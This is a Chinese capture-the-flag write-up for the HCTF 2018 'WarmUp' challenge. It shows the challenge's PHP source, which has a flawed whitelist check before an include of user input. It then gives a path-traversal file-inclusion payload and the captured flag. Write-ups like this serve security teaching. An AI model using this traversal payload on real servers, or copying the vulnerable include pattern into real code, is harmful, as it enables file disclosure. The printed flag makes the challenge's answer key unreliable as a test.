当前位置:网站首页>[HCTF 2018]WarmUp

[HCTF 2018]WarmUp

2022-06-21 17:14:00 铂酆

[HCTF 2018]WarmUp_BUUCTF

靶场

页面源码
进入source.php
下面展示一些 内联代码片

// An highlighted block
 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
        public static function checkFile(&$page)
        {
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
    
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
    
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
    
        include $_REQUEST['file'];
        exit;
    } else {
    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

进入hint.php
下面展示一些 内联代码片

// An highlighted block
flag not here, and flag in ffffllllaaaagggg
// An highlighted block
mb_strpos($page . '?', '?')
$_REQUEST['file'])


http://83b75fb1-65e3-4f04-8933-41d3533c7e2e.node4.buuoj.cn:81/
?file=source.php?
../../../../../ffffllllaaaagggg

flag{
    4794b1d6-e0c2-4a6d-a5e9-d4025a55b5b2} 
原网站

版权声明
本文为[铂酆]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Zhiend/article/details/125279408